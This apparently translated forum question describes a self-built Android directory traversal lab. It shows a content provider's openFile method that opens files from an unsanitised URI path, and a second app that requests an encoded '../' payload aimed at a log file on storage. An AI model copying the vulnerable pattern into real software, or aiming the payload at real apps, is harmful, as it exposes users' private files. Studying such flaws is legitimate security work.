Sto studiando l'attacco "Directory traversal" nelle applicazioni Android usando questo link
Comprendo il concetto alla base della vulnerabilità che l'input deve essere disinfettato correttamente prima di aprire qualsiasi file. Volevo testare la vulnerabilità, quindi ho un codice di esempio che ho scritto.
Ho 2 app (AppA e AppB) e il mio motivo è sfruttare la vulnerabilità nel metodo openFile del fornitore di contenuti di AppA. È il seguente:
@Nullable
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
String path = Uri.parse(DETAILS_DIRECTORY + uri).getLastPathSegment();
File file = new File(DETAILS_DIRECTORY, path);
Log.v ("gaurav", "path : " + path);
Log.v ("gaurav", "File exists: " + file.exists());
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
dove DETAILS_DIRECTORY è:
private static final String DETAILS_DIRECTORY = "abc/efg/";
Quindi, usando la directory traversal il mio motivo è accedere
/storage/sdcard/hello_world/logs
Il codice utilizzato per sfruttare la vulnerabilità è (in AppB):
String target = "content://com.android.AppA.Provider/friends/" +
"%2E%2E%2F%2E%2E%2Fstorage%2Fsdcard%2Fhello_world%2Flogs";
ContentResolver cr = mContext.getContentResolver();
FileInputStream fis = null;
try {
fis = (FileInputStream) cr.openInputStream(Uri.parse(target));
} catch (FileNotFoundException e) {
e.printStackTrace();
}
Quello che ho capito dal link precedente è che è effettivamente possibile accedere ad alcuni file in qualche altra directory (diversa dalla directory predefinita configurata, che in questo caso è DETAILS_DIRECTORY). Ma se eseguo entrambe le app e provo ad attaccare, il percorso finale che ottengo è di tipo / storage / sdcard / hello_world / logs che è effettivamente corretto ma file.exists () mi dà false nel log, e causa anche FileNotFoundException per ovvi motivi. C'è un modo per andare alla directory radice e accedere il percorso desiderato? Apprezzerei molto l'aiuto in merito.
AGGIORNAMENTO: Tutto si riduce al fatto che quando ho percorso file come "/ storage / sdcard / hello_world / logs", tutto funziona correttamente e tutti i metodi (canRead (), isFile (), exists ()) restituiscono true, ma quando il percorso del file è "/abc/efg/../../../storage/sdcard/hello_world/logs", i metodi restituiscono false e il file non viene trovato. Quindi non sono in grado di capire come usare l'API dei file per accedere ai file che contengono "../" nel loro percorso.